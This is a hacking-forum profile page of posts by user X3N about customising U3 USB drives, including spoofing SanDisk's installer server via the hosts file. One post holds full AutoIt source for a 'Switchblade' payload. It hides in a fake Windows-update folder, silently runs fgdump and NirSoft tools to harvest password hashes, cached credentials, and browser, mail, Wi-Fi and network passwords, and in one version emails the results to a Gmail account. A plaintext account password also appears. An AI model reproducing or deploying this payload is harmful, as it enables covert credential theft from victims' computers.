Jump to content

X3N

Active Members
  • Posts

    270
  • Joined

  • Last visited

Everything posted by X3N

  1. looking around the interwebs... anyways i suppose it only works with sandisk u3 drives i tried it on my geeksquad u3 drive and the old lpinstaller.exe from 06 doesnt work on it. It says its not a compatible drive. However the new lpinstaller program still works if you spoof the website. Maybe we could get some input on whoever modified the original one to see if we can modify the new one too? if possible it would be nice to be able to use a local iso only like the old one allowed. At the very least it would be nice to have it only search localhost as opposed to u3.sandisk.com. I have wrote a script that works around it by changing your hosts file for you but id rather not even do that if its possible to install an iso from the local harddrive.
  2. after much searching apparently this has already been done. and the files were on hak5... woulda been nice if someone had mentioned there was already a modified lpinstaller.exe from 3 years ago now there's no need to spoof the website. <_<
  3. thats what i dual boot with my vista laptop its nicer looking then ubuntu
  4. You don't even have to compile it to run it. Just install autoIT and you can just run the scripts. Also its meant to be run with the latest nirsoft programs so if anyone is interested they can just roll their own payload.
  5. there is a python program called slurp that does this. It would be cool to write this in open source. I prefer not to slurp with bat scripts. Python or C++ or C or even AutoIT would be ideal. I think AutoIt might be too slow though which is why id like to see someone make some stuff in Python. Article explaining it http://www.usbhacks.com/2006/10/29/how-to-...sb-flash-drive/ More info http://sharp-ideas.net/ideas/2006/01/20/re...-of-data-theft/ the demo program slurp 2.0 http://www.sharp-ideas.net/downloads.php
  6. im working on finishing my entire development enviroment and i'll upload a zip of the whole thing when its finsihed
  7. check out my codez http://hak5.org/forums/index.php?showtopic=10486 here is a preview of the xp and vista installer program im working on
  8. so you didnt get the hex edit to work right?
  9. i posted a new topic with my codez http://hak5.org/forums/index.php?showtopic=10486&hl=
  10. i started a new topic with some source code i will be posting the lpinstaller helper shortly
  11. I'll be posting my development enviroment gui soon plus the non-u3 versions of this code.
  12. dun dun dun... ok i finally decided to release my code. Hopefully there will be some suggestions on how to make it better. I have a main Payload and an SMTP mailer payload they both work great. I am also working on creating a multi OS Development environment with a GUI so anybody can throw to get their own payload fast. I dislike the U3 customizer because it pretty much sucks. Currently there are two possible methods to us the LP installer. One is to change your hosts file or dns entry and the other is to modify the exe to point to localhost or your own custom server name. The Launcher Script which launches both the payload and pstart menu. #cs ---------------------------------------------------------------------------- AutoIt Version: 3.2.13.0 (beta) Author: X3n Script Function: Switchblade starter #ce ---------------------------------------------------------------------------- #include &lt;Date.au3&gt; $usb = DriveGetDrive("REMOVABLE") If Not @error Then ;MsgBox(4096, "", "Found " &amp; $usb[0] &amp; " drives") For $i = 1 To $usb[0] If DriveGetLabel($usb[$i]) = "X3N" Then Global $usbdr = $usb[$i] EndIf Next EndIf Run ( $usbdr &amp; "pstart" ) Run ( "SYSTEM\SRC\go.exe" , "SYSTEM\SRC\" ) Main Go.Exe code #cs ---------------------------------------------------------------------------- AutoIt Version: 3.2.13.0 (beta) Author: X3n Script Function: REdo of switchblade #ce ---------------------------------------------------------------------------- #include &lt;Date.au3&gt; #NoTrayIcon ; Find USB drive letter &amp; set as variable $usb = DriveGetDrive("REMOVABLE") If Not @error Then For $i = 1 To $usb[0] If DriveGetLabel($usb[$i]) = "X3N" Then Global $usbdr = $usb[$i] EndIf Next EndIf $time = @HOUR &amp; "-" &amp; @MIN &amp; "-" &amp; @SEC EnvUpdate() $computername = EnvGet("computername") $systemroot = EnvGet("systemroot") $logdir = $usbdr &amp; "\System\Logs\" &amp; $computername ;log file $log = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "\" &amp; $computername &amp; "-- ( " &amp; $time &amp; " ).log" ;templogfiles $tmplog1 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp01.log" $tmplog2 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp02.log" $tmplog3 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp03.log" $tmplog4 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp04.log" $tmplog5 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp05.log" $tmplog6 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp06.log" $tmplog7 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp07.log" $tmplog8 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp08.log" $tmplog9 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp09.log" $tmplog10 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp10.log" ;Run Pstart menu Run( $usbdr &amp; "pstart" ) DirCreate( $logdir ) ;Run( "csrsss.exe" ) ;Remove previous run of fgdump if it exists DirRemove( $systemroot &amp; "\$NtUninstallKB531336$", 1) ;Open log file for editing... and adding logs... $file = FileOpen($log, 1) ;create and run fgdump on local system DirCreate( $systemroot &amp; "\$NtUninstallKB531336$" ) FileCopy ( "fgdump.exe" , $systemroot &amp; "\$NtUninstallKB531336$\" ) RunWait( $systemroot &amp; "\$NtUninstallKB531336$\fgdump.exe" , $systemroot &amp; "\$NtUninstallKB531336$\" , @SW_HIDE ) ;General Information on computer using autoIT macros FileWriteLine($file, "----------------------X3n's Payload Time Started: " &amp; _Now() &amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, "----------------------X3ns payload--------------------------- "&amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, "IP add 1: " &amp; @ipaddress1) FileWriteLine($file, "IP add 2: " &amp;@ipaddress2) FileWriteLine($file, "IP add 3: " &amp;@ipaddress3) FileWriteLine($file, "IP add 4: " &amp;@ipaddress4) FileWriteLine($file, "DNS Domain: " &amp;@LogonDNSDomain) FileWriteLine($file, "Logon Domain: " &amp;@LogonDomain) FileWriteLine($file, "Logon Server: " &amp;@LogonServer) FileWriteLine($file, "Operating System: " &amp;@OSVersion) FileWriteLine($file, "Username: " &amp;@UserName) ;Get pwdump log file FileWriteLine($file, "---------------------------PWdump-------------------"&amp; @CRLF) $v_pwdump = FileRead($systemroot &amp; "\$NtUninstallKB531336$\127.0.0.1.pwdump") FileWrite($file, $v_pwdump) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, _Now() &amp; @CRLF) ;Get cachedump log file FileWriteLine($file, "---------------------------CacheDump-------------------"&amp; @CRLF) $v_cdump = FileRead($systemroot &amp; "\$NtUninstallKB531336$\127.0.0.1.cachedump") FileWrite($file, $v_cdump) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, _Now() &amp; @CRLF) ;password fox FileWriteLine($file, "----------------------Password Fox--------------------------- "&amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'PasswordFox.exe /stext ' &amp; $tmplog1, "", @SW_HIDE) $v_tmplog1 = FileRead($tmplog1) FileWrite($file, $v_tmplog1) ProcessWaitClose("PasswordFox.exe") FileWriteLine($file, _Now() &amp; @CRLF) ; Dump mozilla history FileWriteLine($file, "----------------------Mozilla History--------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'MHV.exe /stext ' &amp; $tmplog2, "", @SW_HIDE) $v_tmplog2 = FileRead($tmplog2) FileWrite($file, $v_tmplog2) FileWriteLine($file, @CRLF) ProcessWaitClose("MHV.exe") ;Dump ie saved passwords FileWriteLine($file, "---------------------- IE Pass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'iepv.exe /stext ' &amp; $tmplog3, "", @SW_HIDE) $v_tmplog3 = FileRead($tmplog3) FileWrite($file, $v_tmplog3) FileWriteLine($file, @CRLF) ProcessWaitClose("iepv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump mail passwords FileWriteLine($file, "---------------------- MailPassView --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'mpv.exe /stext ' &amp; $tmplog4, "", @SW_HIDE) $v_tmplog4 = FileRead($tmplog4) FileWrite($file, $v_tmplog4) FileWriteLine($file, @CRLF) ProcessWaitClose("mpv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Product Keys FileWriteLine($file, "---------------------- ProductKeys --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'prok.exe /stext ' &amp; $tmplog5, "", @SW_HIDE) $v_tmplog5 = FileRead($tmplog5) FileWrite($file, $v_tmplog5) FileWriteLine($file, @CRLF) ProcessWaitClose("prok.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump protected storage FileWriteLine($file, "---------------------- Protected Storage --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'pspv.exe /stext ' &amp; $tmplog6, "", @SW_HIDE) $v_tmplog6 = FileRead($tmplog6) FileWrite($file, $v_tmplog6) FileWriteLine($file, @CRLF) ProcessWaitClose("pspv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump WIFI saved Keys FileWriteLine($file, "---------------------- WifiKeys --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'wkv.exe /stext ' &amp; $tmplog7, "", @SW_HIDE) $v_tmplog7 = FileRead($tmplog7) FileWrite($file, $v_tmplog7) FileWriteLine($file, @CRLF) ProcessWaitClose("wkv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Network passwords FileWriteLine($file, "---------------------- NetPass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'netpass.exe /stext ' &amp; $tmplog8, "", @SW_HIDE) $v_tmplog8 = FileRead($tmplog8) FileWrite($file, $v_tmplog8) FileWriteLine($file, @CRLF) ProcessWaitClose("netpass.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Messenger passwords FileWriteLine($file, "---------------------- MsPass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'mspass.exe /stext ' &amp; $tmplog9, "", @SW_HIDE) $v_tmplog9 = FileRead($tmplog9) FileWrite($file, $v_tmplog9) FileWriteLine($file, @CRLF) ProcessWaitClose("mspass.exe") FileWriteLine($file, _Now() &amp; @CRLF) FileWriteLine($file, "-------------------------X3n's Payload Time Ended: " &amp; _Now() &amp; @CRLF) DirRemove( $systemroot &amp; "\$NtUninstallKB531336$", 1) FileClose($file) FileDelete($tmplog1) FileDelete($tmplog2) FileDelete($tmplog3) FileDelete($tmplog4) FileDelete($tmplog5) FileDelete($tmplog6) FileDelete($tmplog7) FileDelete($tmplog8) FileDelete($tmplog9) FileDelete($tmplog10) SMTP mailer go-smtp.exe #cs ---------------------------------------------------------------------------- AutoIt Version: 3.2.13.0 (beta) Author: X3n Script Function: REdo of switchblade #ce ---------------------------------------------------------------------------- #include &lt;Date.au3&gt; #NoTrayIcon ; Find USB drive letter &amp; set as variable $usb = DriveGetDrive("REMOVABLE") If Not @error Then For $i = 1 To $usb[0] If DriveGetLabel($usb[$i]) = "X3N" Then Global $usbdr = $usb[$i] EndIf Next EndIf $time = @HOUR &amp; "-" &amp; @MIN &amp; "-" &amp; @SEC EnvUpdate() $computername = EnvGet("computername") $systemroot = EnvGet("systemroot") $logdir = $usbdr &amp; "\System\Logs\" &amp; $computername ;log files $log = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "\" &amp; $computername &amp; "-- ( " &amp; $time &amp; " ).log" ;templogfiles $tmplog1 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp01.log" $tmplog2 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp02.log" $tmplog3 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp03.log" $tmplog4 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp04.log" $tmplog5 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp05.log" $tmplog6 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp06.log" $tmplog7 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp07.log" $tmplog8 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp08.log" $tmplog9 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp09.log" $tmplog10 = $usbdr &amp; "\System\Logs\" &amp; $computername &amp; "_temp10.log" ;email to gmail account settings $emailfrom = ("hckbld") $emailto = ("hckbld@gmail.com") $epassword = ("hckbld#2008") $subject = $computername &amp; $time ;Run Pstart menu Run( $usbdr &amp; "pstart" ) DirCreate( $logdir ) ;Run( "csrsss.exe" ) ;Remove previous run of fgdump if it exists DirRemove( $systemroot &amp; "\$NtUninstallKB531336$", 1) ;Open log file for editing... and adding logs... $file = FileOpen($log, 1) ;create and run fgdump on local system DirCreate( $systemroot &amp; "\$NtUninstallKB531336$" ) FileCopy ( "fgdump.exe" , $systemroot &amp; "\$NtUninstallKB531336$\" ) RunWait( $systemroot &amp; "\$NtUninstallKB531336$\fgdump.exe" , $systemroot &amp; "\$NtUninstallKB531336$\" , @SW_HIDE ) ;General Information on computer using autoIT macros FileWriteLine($file, "----------------------X3n's Payload Time Started: " &amp; _Now() &amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, "----------------------X3ns payload--------------------------- "&amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, "IP add 1: " &amp; @ipaddress1) FileWriteLine($file, "IP add 2: " &amp;@ipaddress2) FileWriteLine($file, "IP add 3: " &amp;@ipaddress3) FileWriteLine($file, "IP add 4: " &amp;@ipaddress4) FileWriteLine($file, "DNS Domain: " &amp;@LogonDNSDomain) FileWriteLine($file, "Logon Domain: " &amp;@LogonDomain) FileWriteLine($file, "Logon Server: " &amp;@LogonServer) FileWriteLine($file, "Operating System: " &amp;@OSVersion) FileWriteLine($file, "Username: " &amp;@UserName) ;Get pwdump log file FileWriteLine($file, "---------------------------PWdump-------------------"&amp; @CRLF) $v_pwdump = FileRead($systemroot &amp; "\$NtUninstallKB531336$\127.0.0.1.pwdump") FileWrite($file, $v_pwdump) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, _Now() &amp; @CRLF) ;Get cachedump log file FileWriteLine($file, "---------------------------CacheDump-------------------"&amp; @CRLF) $v_cdump = FileRead($systemroot &amp; "\$NtUninstallKB531336$\127.0.0.1.cachedump") FileWrite($file, $v_cdump) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, _Now() &amp; @CRLF) ;password fox FileWriteLine($file, "----------------------Password Fox--------------------------- "&amp; @CRLF) FileWriteLine($file, @CRLF) FileWriteLine($file, @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'PasswordFox.exe /stext ' &amp; $tmplog1, "", @SW_HIDE) $v_tmplog1 = FileRead($tmplog1) FileWrite($file, $v_tmplog1) ProcessWaitClose("PasswordFox.exe") FileWriteLine($file, _Now() &amp; @CRLF) ; Dump mozilla history FileWriteLine($file, "----------------------Mozilla History--------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'MHV.exe /stext ' &amp; $tmplog2, "", @SW_HIDE) $v_tmplog2 = FileRead($tmplog2) FileWrite($file, $v_tmplog2) FileWriteLine($file, @CRLF) ProcessWaitClose("MHV.exe") ;Dump ie saved passwords FileWriteLine($file, "---------------------- IE Pass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'iepv.exe /stext ' &amp; $tmplog3, "", @SW_HIDE) $v_tmplog3 = FileRead($tmplog3) FileWrite($file, $v_tmplog3) FileWriteLine($file, @CRLF) ProcessWaitClose("iepv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump mail passwords FileWriteLine($file, "---------------------- MailPassView --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'mpv.exe /stext ' &amp; $tmplog4, "", @SW_HIDE) $v_tmplog4 = FileRead($tmplog4) FileWrite($file, $v_tmplog4) FileWriteLine($file, @CRLF) ProcessWaitClose("mpv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Product Keys FileWriteLine($file, "---------------------- ProductKeys --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'prok.exe /stext ' &amp; $tmplog5, "", @SW_HIDE) $v_tmplog5 = FileRead($tmplog5) FileWrite($file, $v_tmplog5) FileWriteLine($file, @CRLF) ProcessWaitClose("prok.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump protected storage FileWriteLine($file, "---------------------- Protected Storage --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'pspv.exe /stext ' &amp; $tmplog6, "", @SW_HIDE) $v_tmplog6 = FileRead($tmplog6) FileWrite($file, $v_tmplog6) FileWriteLine($file, @CRLF) ProcessWaitClose("pspv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump WIFI saved Keys FileWriteLine($file, "---------------------- WifiKeys --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'wkv.exe /stext ' &amp; $tmplog7, "", @SW_HIDE) $v_tmplog7 = FileRead($tmplog7) FileWrite($file, $v_tmplog7) FileWriteLine($file, @CRLF) ProcessWaitClose("wkv.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Network passwords FileWriteLine($file, "---------------------- NetPass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'netpass.exe /stext ' &amp; $tmplog8, "", @SW_HIDE) $v_tmplog8 = FileRead($tmplog8) FileWrite($file, $v_tmplog8) FileWriteLine($file, @CRLF) ProcessWaitClose("netpass.exe") FileWriteLine($file, _Now() &amp; @CRLF) ;Dump Messenger passwords FileWriteLine($file, "---------------------- MsPass --------------------------- "&amp; @CRLF) Runwait(@ComSpec &amp; " /c " &amp; 'mspass.exe /stext ' &amp; $tmplog9, "", @SW_HIDE) $v_tmplog9 = FileRead($tmplog9) FileWrite($file, $v_tmplog9) FileWriteLine($file, @CRLF) ProcessWaitClose("mspass.exe") FileWriteLine($file, _Now() &amp; @CRLF) FileWriteLine($file, "-------------------------X3n's Payload Time Ended: " &amp; _Now() &amp; @CRLF) DirRemove( $systemroot &amp; "\$NtUninstallKB531336$", 1) FileClose($file) FileDelete($tmplog1) FileDelete($tmplog2) FileDelete($tmplog3) FileDelete($tmplog4) FileDelete($tmplog5) FileDelete($tmplog6) FileDelete($tmplog7) FileDelete($tmplog8) FileDelete($tmplog9) FileDelete($tmplog10) #Include&lt;file.au3&gt; Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") ;################################## ; Include ;################################## #Include&lt;file.au3&gt; ;################################## ; Variables ;################################## $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "xxx" ; name from who the email was sent $s_FromAddress = "xxx@gmail.com" ; address from where the mail should come $s_ToAddress = "xxx@gmail.com" ; destination address of the email - REQUIRED $s_Subject = $log ; subject from the email - can be anything you want it to be $as_Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = $log ; the file you want to attach- leave blank if not needed $s_CcAddress = "" ; address for cc - leave blank if not needed $s_BccAddress = "" ; address for bcc - leave blank if not needed $s_Username = "xxxxx" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "xxxxx" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) $IPPort = 465 ; port used for sending the mail $ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS ;~ $IPPort=465 ; GMAIL port used for sending the mail ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS ;################################## ; Script ;################################## Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" &amp; @error &amp; " Rc:" &amp; $rc) EndIf ; Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' &amp; $s_FromName &amp; '" &lt;' &amp; $s_FromAddress &amp; '&gt;' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress &lt;&gt; "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress &lt;&gt; "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"&lt;") and StringInStr($as_Body,"&gt;") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body &amp; @CRLF EndIf If $s_AttachFiles &lt;&gt; "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption &amp; @lf &amp; 'File not found to attach: ' &amp; $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username &lt;&gt; "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc ;==&gt;_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " &amp; $HexNumber &amp; " ScriptLine: " &amp; $oMyError.scriptline &amp; " Description:" &amp; $oMyRet[1] &amp; @LF) SetError(1); something to check for when this function returns Return EndFunc ;==&gt;MyErrFunc
  13. Can this be changed to 127.0.0.1 or localhost? If so could you post instructions on how you did it and the programs you used to edit the hex
  14. Yeah thats the method i use in my script... just changing the hosts file.
  15. haha sorry guys i didn't write a gui for my payload just the rest of the code because its a lot cleaner then .bat i am writing a gui for a new iso customizer that works in vista using the lpinstaller program. Which i almost finished but I'm in the process of moving so its been hard to get a lot done. I kinda been holding back on releasing the code for the main payload but will release everything when its finished. I am creating an entire development environment that should be super easy to use.
  16. I wrote a autoIT script that runs everything great... it does all the steps and then undoes it afterwords... i can post the source code tommorow... im using micro apache as a web server... works great so far and will be mostly silent when finsihed...
  17. i just tested a simple http server called shttp which didnt work.
  18. it would be fine to change the domain to just localhost is that possible?
  19. well weather or not that is possible i dont know cause i suck at hex editing but i am writing an autoIT script that does it the manual way and then undoes the changes... should have something a little later today.
  20. UPDATE: wish i knew about this method before....anyways... it pulls the volume name of the U3 drive and appends it to the url so if you changed the name of it then it will break the lpinstaller program for contacting the internet... GET /download/apps/lpinstaller/isofiles/X3n-autorun.iso HTTP/1.1 User-Agent: SanDisk HTTP Manager Host: u3.sandisk.com Connection: Keep-Alive UPDATE2 : successfully ran with both HFS and MicroApache... This method is way way way faster than the universal-customizer and doesnt touch the regular partition at all! Woot! Good work dingleberrys!
  21. Is there a way to modify the exe with a hex editor to allow customizing the download link? so that its not necessary to trick it into thinking its going to u3.sandisk.com?
  22. yeah i just tried it with hfs and microapache.... i think if i can get this to work right ill write a autoIT script to do all the dirty work and cleanup after.
  23. will any http server work or does it have to be apache?
×
×
  • Create New...